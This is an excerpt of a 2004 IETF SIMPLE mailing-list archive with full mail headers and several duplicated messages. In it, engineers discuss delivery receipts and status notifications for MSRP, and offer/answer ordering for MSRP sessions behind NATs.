DQoJQW5vdGhlciBjYXNlIGlzIHdpdGggYW4gSU0gY29uZmVyZW5jZS4gSWYg
SSBzZW5kIGEgbWVzc2FnZSB0byB0aGUgbWl4ZXIsDQoJcmVxdWVzdGluZyBj
b25maXJtYXRpb24sIGlkZWFsbHkgdGhhdCB3b3VsZCBiZSBhbiBlbmQtdG8t
YWxsLWVuZHMNCgljb25maXJtYXRpb24uIFRoZSBtaXhlciB3b3VsZCBoYXZl
IHRvIHJlcXVlc3QgYW5kIHJlY2VpdmUgY29uZmlybWF0aW9uDQoJZnJvbSBh
bGwgcmVjaXBpZW50cyBiZWZvcmUgY29uZmlybWluZyB0byBzZW5kZXIuDQoJ
DQoJPiBHaXZlbiB0aGF0IGFzc2VydGlvbiwgY2FuIHdlIHNheSBJTUROJ3Mg
YXJlIHBhZ2UgbW9kZSBtZXNzYWdlcy4NCgkNCglCYXNlZCBvbiBhYm92ZSwg
SSBzYXkgTk8uDQoNCgk8PENKQj4+IFNvcnJ5IFBhdWwsIEknbSB3aXRoIEVy
aWMgYW5kIHN0aWxsIGp1c3QgZG9uJ3Qgc2VlIHdoZW4gdGhpcyB3b3VsZCBi
ZSB1c2VkLg0KCQ0KCSAgICAgICAgUGF1bA0KCQ0KCQ0KCV9fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fDQoJU2ltcGxl
IG1haWxpbmcgbGlzdA0KCVNpbXBsZUBpZXRmLm9yZw0KCWh0dHBzOi8vd3d3
MS5pZXRmLm9yZy9tYWlsbWFuL2xpc3RpbmZvL3NpbXBsZSA8aHR0cHM6Ly93
d3cxLmlldGYub3JnL21haWxtYW4vbGlzdGluZm8vc2ltcGxlPiANCgkNCg0K
CgpUaGlzIG1lc3NhZ2UgaGFzIGJlZW4gc2Nhbm5lZCBmb3IgdmlydXNlcyBi
eSBNYWlsQ29udHJvbCAtIHd3dy5tYWlsY29udHJvbC5jb20K

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 19:26:58 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA12749
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 19:26:58 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKDy-00042n-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 19:26:58 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyKD9-0003so-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 19:26:07 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKCA-0003ib-00; Tue, 02 Mar 2004 19:25:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKC8-0007Fc-So; Tue, 02 Mar 2004 19:25:04 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKBf-0007EK-FY
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 19:24:35 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA12558
	for <simple@ietf.org>; Tue, 2 Mar 2004 19:24:32 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKBd-0003Yt-00
	for simple@ietf.org; Tue, 02 Mar 2004 19:24:33 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyKAZ-0003O7-00
	for simple@ietf.org; Tue, 02 Mar 2004 19:23:28 -0500
Received: from magus.nostrum.com ([208.21.192.130] ident=root)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyK9c-0003CK-00
	for simple@ietf.org; Tue, 02 Mar 2004 19:22:28 -0500
Received: from dynamicsoft.com (ben@localhost [127.0.0.1])
	by magus.nostrum.com (8.12.9/8.12.9) with ESMTP id i230MGIw063502;
	Tue, 2 Mar 2004 18:22:17 -0600 (CST)
	(envelope-from bcampbell@dynamicsoft.com)
Message-ID: <40452464.7060401@dynamicsoft.com>
From: Ben Campbell <bcampbell@dynamicsoft.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6b) Gecko/20031205 Thunderbird/0.4
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Paul Kyzivat <pkyzivat@cisco.com>
CC: "Vijay K. Gurbani" <vkg@lucent.com>, Rohan Mahy <rohan@cisco.com>,
        simple@ietf.org
Subject: Re: [Simple] return receipt and delivery status notification for
 MSRP
References: <ABEA1AEE-6C8E-11D8-82FB-0003938AF740@cisco.com> <404502DD.6040702@lucent.com> <40452028.3000201@cisco.com>
In-Reply-To: <40452028.3000201@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 09:18:44 +0900
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Agreed. Presence information does not guarantee message delivery. As 
Adam mentioned in his service-feature draft, presence is really just a 
hint. It does not make sense to assume delivery success based on 
presence information.

Paul Kyzivat wrote:
> I agree that availability of presence may have some impact on 
> need/desire for delivery confirmations. Sending the message via session 
> mode rather than page mode does too. But I don't agree these 
> circumstances are definitive for whether receipts of any kind are 
> desired. I think the most you can really say is that the sender can 
> choose which kind (if any) is desired.
> 
>     Paul
> 
> Vijay K. Gurbani wrote:
> 
>> Rohan Mahy wrote:
>>
>>> Hi,
>>>
>>> I wanted to record an observation about how optional return receipt 
>>> and delivery status notification should be for MSRP. This was 
>>> inspired by Eric Burger's comments at the mic about how positive and 
>>> negative acknowledgments have a different character.
>>
>>
>>
>> Rohan:
>>
>> I had started a thread related to Delivery Status reporting
>> last week (in response to Jonathan's I-D on Advanced
>> IM requirements).  The thread can be followed from the
>> following URI:
>>
>> http://www1.ietf.org/mail-archive/working-groups/simple/current/msg02150.html 
>>
>>
>> The summary of the thread was that it would be good to have
>> both positive and negative acknowledgements.  Buried in the
>> thread is a following observation which is of interest,
>> especially given the email tie-in you mention:
>>
>>    It appears that there are two cases to consider: a) where
>>    the IM system is tied to a presence system, and b) where
>>    it is not.  In (a), a sender can be reasonably sure when
>>    he sends the message that the recipient got it.  A
>>    confirmation for each message would simply be too awkward,
>>    given the volume of IMs that can be potentially exchanged.
>>    (b) is more akin to email; the sender sends a message
>>    not expecting an immediate response.  If the undelying
>>    network fails to deliver the message, it should let the
>>    sender know.  Otherwise, no further communications are
>>    needed.
>>
>> In this view, positive acknowledgements have limited use
>> if the IM user is tied to a presence system, but have
>> tremendous uses if the IM interface is not tied to a presence
>> system.  In short, I think negative acknowledgements should
>> be the norm (a la email), but positive acknowledgements
>> should be used if the sender of IM does not know what the
>> current presence and availability status of the receiver is.
>>
>>>     Positive Acknowledgments:
>>> I may want to know about partial message delivery so I can interrupt 
>>> and resume-in-place when transferring a large IM attachment (walk 
>>> into the elevator example).
>>>
>>> I may want to know just that a complete message was delivered
>>>
>>> I may want to know that a complete message is queued/stored for user 
>>> pickup
>>>
>>> I may want to know that a complete message was displayed to the 
>>> target end user
>>>
>>> I may want to receive no messages at all about e2e delivery status
>>>
>>>     Negative Acknowledgements
>>> I may want to know that a message was not delivered due to a relay 
>>> error and why
>>>
>>> I may want to know that a message was not delivered because of a UA 
>>> error (and why)
>>>
>>> I may not care if messages don't get delivered e2e (expecting just 
>>> best effort)
>>>
>>> We should figure out a way to indicate which of these you want.  The 
>>> mail folks have dealt with very, very similar problems.
>>>
>>> Homework assignment for the working group: read and understand the 
>>> semantics of Delivery Status Notifications (RFC 3464) and Return 
>>> Receipts/Message Disposition Notifications (RFC 2298)
>>>
>>> thanks,
>>> -rohan
>>
>>
>>
>> Thanks,
>>
>> - vijay
> 
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 19:27:31 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA12795
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 19:27:31 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKE0-0007Ok-OD
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 19:27:01 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i230R0gQ028432
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 19:27:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKE0-0007OV-JH
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 19:27:00 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA12766
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 19:26:59 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKDy-00042s-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 19:26:58 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyKD9-0003sw-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 19:26:08 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKCA-0003ib-00; Tue, 02 Mar 2004 19:25:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKC8-0007Fc-So; Tue, 02 Mar 2004 19:25:04 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKBf-0007EK-FY
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 19:24:35 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA12558
	for <simple@ietf.org>; Tue, 2 Mar 2004 19:24:32 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKBd-0003Yt-00
	for simple@ietf.org; Tue, 02 Mar 2004 19:24:33 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyKAZ-0003O7-00
	for simple@ietf.org; Tue, 02 Mar 2004 19:23:28 -0500
Received: from magus.nostrum.com ([208.21.192.130] ident=root)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyK9c-0003CK-00
	for simple@ietf.org; Tue, 02 Mar 2004 19:22:28 -0500
Received: from dynamicsoft.com (ben@localhost [127.0.0.1])
	by magus.nostrum.com (8.12.9/8.12.9) with ESMTP id i230MGIw063502;
	Tue, 2 Mar 2004 18:22:17 -0600 (CST)
	(envelope-from bcampbell@dynamicsoft.com)
Message-ID: <40452464.7060401@dynamicsoft.com>
From: Ben Campbell <bcampbell@dynamicsoft.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6b) Gecko/20031205 Thunderbird/0.4
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Paul Kyzivat <pkyzivat@cisco.com>
CC: "Vijay K. Gurbani" <vkg@lucent.com>, Rohan Mahy <rohan@cisco.com>,
        simple@ietf.org
Subject: Re: [Simple] return receipt and delivery status notification for
 MSRP
References: <ABEA1AEE-6C8E-11D8-82FB-0003938AF740@cisco.com> <404502DD.6040702@lucent.com> <40452028.3000201@cisco.com>
In-Reply-To: <40452028.3000201@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 09:18:44 +0900
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Agreed. Presence information does not guarantee message delivery. As 
Adam mentioned in his service-feature draft, presence is really just a 
hint. It does not make sense to assume delivery success based on 
presence information.

Paul Kyzivat wrote:
> I agree that availability of presence may have some impact on 
> need/desire for delivery confirmations. Sending the message via session 
> mode rather than page mode does too. But I don't agree these 
> circumstances are definitive for whether receipts of any kind are 
> desired. I think the most you can really say is that the sender can 
> choose which kind (if any) is desired.
> 
>     Paul
> 
> Vijay K. Gurbani wrote:
> 
>> Rohan Mahy wrote:
>>
>>> Hi,
>>>
>>> I wanted to record an observation about how optional return receipt 
>>> and delivery status notification should be for MSRP. This was 
>>> inspired by Eric Burger's comments at the mic about how positive and 
>>> negative acknowledgments have a different character.
>>
>>
>>
>> Rohan:
>>
>> I had started a thread related to Delivery Status reporting
>> last week (in response to Jonathan's I-D on Advanced
>> IM requirements).  The thread can be followed from the
>> following URI:
>>
>> http://www1.ietf.org/mail-archive/working-groups/simple/current/msg02150.html 
>>
>>
>> The summary of the thread was that it would be good to have
>> both positive and negative acknowledgements.  Buried in the
>> thread is a following observation which is of interest,
>> especially given the email tie-in you mention:
>>
>>    It appears that there are two cases to consider: a) where
>>    the IM system is tied to a presence system, and b) where
>>    it is not.  In (a), a sender can be reasonably sure when
>>    he sends the message that the recipient got it.  A
>>    confirmation for each message would simply be too awkward,
>>    given the volume of IMs that can be potentially exchanged.
>>    (b) is more akin to email; the sender sends a message
>>    not expecting an immediate response.  If the undelying
>>    network fails to deliver the message, it should let the
>>    sender know.  Otherwise, no further communications are
>>    needed.
>>
>> In this view, positive acknowledgements have limited use
>> if the IM user is tied to a presence system, but have
>> tremendous uses if the IM interface is not tied to a presence
>> system.  In short, I think negative acknowledgements should
>> be the norm (a la email), but positive acknowledgements
>> should be used if the sender of IM does not know what the
>> current presence and availability status of the receiver is.
>>
>>>     Positive Acknowledgments:
>>> I may want to know about partial message delivery so I can interrupt 
>>> and resume-in-place when transferring a large IM attachment (walk 
>>> into the elevator example).
>>>
>>> I may want to know just that a complete message was delivered
>>>
>>> I may want to know that a complete message is queued/stored for user 
>>> pickup
>>>
>>> I may want to know that a complete message was displayed to the 
>>> target end user
>>>
>>> I may want to receive no messages at all about e2e delivery status
>>>
>>>     Negative Acknowledgements
>>> I may want to know that a message was not delivered due to a relay 
>>> error and why
>>>
>>> I may want to know that a message was not delivered because of a UA 
>>> error (and why)
>>>
>>> I may not care if messages don't get delivered e2e (expecting just 
>>> best effort)
>>>
>>> We should figure out a way to indicate which of these you want.  The 
>>> mail folks have dealt with very, very similar problems.
>>>
>>> Homework assignment for the working group: read and understand the 
>>> semantics of Delivery Status Notifications (RFC 3464) and Return 
>>> Receipts/Message Disposition Notifications (RFC 2298)
>>>
>>> thanks,
>>> -rohan
>>
>>
>>
>> Thanks,
>>
>> - vijay
> 
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 19:36:52 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA13496
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 19:36:52 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKNY-0005hK-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 19:36:52 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyKMf-0005Z9-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 19:35:58 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKLo-0005RX-00; Tue, 02 Mar 2004 19:35:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKLm-0000UH-Pu; Tue, 02 Mar 2004 19:35:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKKr-0000Qz-Eg
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 19:34:05 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA13410
	for <simple@ietf.org>; Tue, 2 Mar 2004 19:34:03 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKKp-0005IL-00
	for simple@ietf.org; Tue, 02 Mar 2004 19:34:03 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyKK1-00059l-00
	for simple@ietf.org; Tue, 02 Mar 2004 19:33:14 -0500
Received: from magus.nostrum.com ([208.21.192.130] ident=root)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKJM-00050F-00
	for simple@ietf.org; Tue, 02 Mar 2004 19:32:32 -0500
Received: from dynamicsoft.com (ben@localhost [127.0.0.1])
	by magus.nostrum.com (8.12.9/8.12.9) with ESMTP id i230WOIw064306;
	Tue, 2 Mar 2004 18:32:26 -0600 (CST)
	(envelope-from bcampbell@dynamicsoft.com)
Message-ID: <404526C4.7020606@dynamicsoft.com>
From: Ben Campbell <bcampbell@dynamicsoft.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6b) Gecko/20031205 Thunderbird/0.4
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Cullen Jennings <fluffy@cisco.com>
CC: Adam Roach <adam@dynamicsoft.com>, Robert Sparks <rsparks@dynamicsoft.com>,
        Rohan Mahy <rohan@cisco.com>, simple@ietf.org
Subject: Re: [Simple] RE: MSRP & Comedia
References: <BC6979D4.339F9%fluffy@cisco.com>
In-Reply-To: <BC6979D4.339F9%fluffy@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 09:28:52 +0900
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Cullen Jennings wrote:
> It just sends an offer with all three and then the other ends selects. This
> is how SIP is today - you can send an invite with no offer then get the
> offer in the response and put the answer in the ack.

Who is "it" in your scenario? Are you suggesting that if my IM client 
sends an empty INVITE, I have a right to expect the receiver will offer 
every media type it can possibly understand? That is, the receiver is 
not allowed to have media types it can accept, but will never offer?
> 
> On 3/1/04 10:41 AM, "Adam Roach" <adam@dynamicsoft.com> wrote:
> 
> 
>>From a protocol perspective, this sounds reasonable.
>>
>>I think the key problem is that the first example shifts the
>>decision of what type of communication is requested
>>from the caller to the callee. Without getting into a discussion
>>of whether that is the "right" thing to do, it certainly is
>>going to differ from user expectations.
>>
>>+----------------------------------------------+
>>| Cullen Jennings <sip:fluffy@cisco.com> wants |
>>| to start a conversation, but I have no idea  |
>>| what kind. Take your best guess:             |
>>|                                              |
>>|    +-------+  +-----------------+  +----+    |
>>|    | Voice |  | Voice and video |  | IM |    |
>>|    +-------+  +-----------------+  +----+    |
>>+----------------------------------------------+
>>
>>/a
>>
>>
>>>-----Original Message-----
>>>From: Cullen Jennings [mailto:fluffy@cisco.com]
>>>Sent: Friday, February 27, 2004 0:50
>>>To: Ben Campbell; Robert Sparks; Rohan Mahy; Adam Roach
>>>Cc: simple@ietf.org
>>>Subject: MSRP & Comedia
>>>
>>>
>>>
>>>This is a half baked idea that I am just tossing out as food
>>>for thought
>>>
>>>Consider a systems where something like the UA that sends the
>>>answer sends
>>>the VISIT. 
>>>
>>>Consider the cases where A want to set up a MSRP session with B.
>>>
>>>A is behind a NAT and does not want to use a relay. A sends
>>>an INVITE with
>>>no offer. B sends an offer, gets back an answer and A sends the VISIT.
>>>A -> inv    -> B
>>>A <- offer  <- B
>>>A -> answer -> B
>>>A -> visit  -> B
>>>
>>>B is behind a NAT. A sends an offer and B sends an answer and
>>>A sends VISIT.
>>>A -> offer  -> B
>>>A <- answer <- B
>>>A <- visit  <- B
>>>
>>>A and B are behind NATS. A sends INVITE no offer, B knows
>>>relay is needed
>>>and gets one and sends offer.
>>>
>>>The underlying principal is basically if you don't know what
>>>port you are
>>>going to receive media at (which is the case with a NAT) you
>>>should not be
>>>making any offers and if you make an offer the assumption is
>>>that the other
>>>side and send media (a VISIT) to that and have it work.
>>>
>>>The fundamental thing I am trying to avoid is two vendors
>>>both saying they
>>>have MSRP compliant systems yet still having them fail to be
>>>able to talk to
>>>each other because they both expect the other one to host.
>>>
>>
>>_______________________________________________
>>Simple mailing list
>>Simple@ietf.org
>>https://www1.ietf.org/mailman/listinfo/simple
>>
> 
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 19:37:25 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA13543
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 19:37:25 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKNc-0000pc-7t
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 19:36:56 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i230audB003190
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 19:36:56 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKNc-0000pN-4N
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 19:36:56 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA13514
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 19:36:54 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKNa-0005he-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 19:36:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyKMg-0005ZI-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 19:35:59 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKLo-0005RX-00; Tue, 02 Mar 2004 19:35:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKLm-0000UH-Pu; Tue, 02 Mar 2004 19:35:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKKr-0000Qz-Eg
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 19:34:05 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA13410
	for <simple@ietf.org>; Tue, 2 Mar 2004 19:34:03 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKKp-0005IL-00
	for simple@ietf.org; Tue, 02 Mar 2004 19:34:03 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyKK1-00059l-00
	for simple@ietf.org; Tue, 02 Mar 2004 19:33:14 -0500
Received: from magus.nostrum.com ([208.21.192.130] ident=root)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKJM-00050F-00
	for simple@ietf.org; Tue, 02 Mar 2004 19:32:32 -0500
Received: from dynamicsoft.com (ben@localhost [127.0.0.1])
	by magus.nostrum.com (8.12.9/8.12.9) with ESMTP id i230WOIw064306;
	Tue, 2 Mar 2004 18:32:26 -0600 (CST)
	(envelope-from bcampbell@dynamicsoft.com)
Message-ID: <404526C4.7020606@dynamicsoft.com>
From: Ben Campbell <bcampbell@dynamicsoft.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6b) Gecko/20031205 Thunderbird/0.4
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Cullen Jennings <fluffy@cisco.com>
CC: Adam Roach <adam@dynamicsoft.com>, Robert Sparks <rsparks@dynamicsoft.com>,
        Rohan Mahy <rohan@cisco.com>, simple@ietf.org
Subject: Re: [Simple] RE: MSRP & Comedia
References: <BC6979D4.339F9%fluffy@cisco.com>
In-Reply-To: <BC6979D4.339F9%fluffy@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 09:28:52 +0900
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Cullen Jennings wrote:
> It just sends an offer with all three and then the other ends selects. This
> is how SIP is today - you can send an invite with no offer then get the
> offer in the response and put the answer in the ack.

Who is "it" in your scenario? Are you suggesting that if my IM client 
sends an empty INVITE, I have a right to expect the receiver will offer 
every media type it can possibly understand? That is, the receiver is 
not allowed to have media types it can accept, but will never offer?
> 
> On 3/1/04 10:41 AM, "Adam Roach" <adam@dynamicsoft.com> wrote:
> 
> 
>>From a protocol perspective, this sounds reasonable.
>>
>>I think the key problem is that the first example shifts the
>>decision of what type of communication is requested
>>from the caller to the callee. Without getting into a discussion
>>of whether that is the "right" thing to do, it certainly is
>>going to differ from user expectations.
>>
>>+----------------------------------------------+
>>| Cullen Jennings <sip:fluffy@cisco.com> wants |
>>| to start a conversation, but I have no idea  |
>>| what kind. Take your best guess:             |
>>|                                              |
>>|    +-------+  +-----------------+  +----+    |
>>|    | Voice |  | Voice and video |  | IM |    |
>>|    +-------+  +-----------------+  +----+    |
